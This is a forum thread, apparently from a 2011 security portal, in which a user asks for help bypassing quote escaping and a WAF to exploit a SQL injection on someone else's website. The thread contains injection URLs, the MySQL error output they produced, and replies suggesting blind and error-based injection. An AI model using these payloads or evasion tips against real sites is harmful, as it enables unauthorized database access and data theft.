Waraxe IT Security Portal
Login or Register
November 24, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 38
Members: 0
Total: 38
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Bypassing \' MySQL- [help] WAF Evasion
Post new topicReply to topic View previous topic :: View next topic
Bypassing \' MySQL- [help] WAF Evasion
PostPosted: Wed Sep 21, 2011 7:44 pm Reply with quote
ALGORi7HM
Beginner
Beginner
Joined: Sep 20, 2011
Posts: 4
Location: Master Boot Record




Hi. I am stuck here..

I found a website with string based injection.
But whenever I add ' it gets replaced with \'

Code:
http://www.site.com/event.php?id=-8'+order+by+10-- -


I get following error

Code:
Erro MySQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 10-- -' at line 1



I found two sites, they are on same server, 2nd one isn't string based. Below it is..


It's adding single quote ' in front of Select statement

Code:
http://www.site.com/event.php?id=8+sEleCT+1,2,3--


result is

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sEleCT 1,2,3--' at line 1SELECT * FROM ibex_events WHERE id=4 sEleCT 1,2,3--


I tried comment execution, but still it's filtering /*! part and adding '.

Code:
http://www.site.com/event.php?id=8+/*!sEleCT*/+1,2,3--


result is

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sEleCT*/ 1,2,3--' at line 1SELECT * FROM ibex_events WHERE id=4 /*!sEleCT*/ 1,2,3--



Also it's effectively filtering Union and throwing Internal Server Error page.

Can anyone help me with this? At least some hints..


Thanks in advance. Very Happy
View user's profile Send private message Yahoo Messenger
PostPosted: Thu Sep 22, 2011 6:13 pm Reply with quote
sk8er
Advanced user
Advanced user
Joined: May 09, 2005
Posts: 64




if you want to avoid a firewall, I recommend you use a encoded string for you query's, is only one idea Smile
View user's profile Send private message Send e-mail MSN Messenger
HI
PostPosted: Fri Sep 23, 2011 4:54 pm Reply with quote
ALGORi7HM
Beginner
Beginner
Joined: Sep 20, 2011
Posts: 4
Location: Master Boot Record




ya I tried....not working,

they are blocking UNION..throwing internal server error.
View user's profile Send private message Yahoo Messenger
PostPosted: Sat Sep 24, 2011 4:33 am Reply with quote
sk8er
Advanced user
Advanced user
Joined: May 09, 2005
Posts: 64




one good option when bloking with internal errors, is use inference (BLIND SQL) for example, SQLiX available on :

https://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

working with these tecniques.
View user's profile Send private message Send e-mail MSN Messenger
PostPosted: Sun Oct 02, 2011 4:34 pm Reply with quote
mainhood
Regular user
Regular user
Joined: Sep 02, 2011
Posts: 21




u cant bypass '
because it is magic_quote from php

maybe u can bypass union with error based

try

id=12 and (select 1 from a)-- f

or me me site, i will try
View user's profile Send private message
Bypassing \' MySQL- [help] WAF Evasion
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.039 Seconds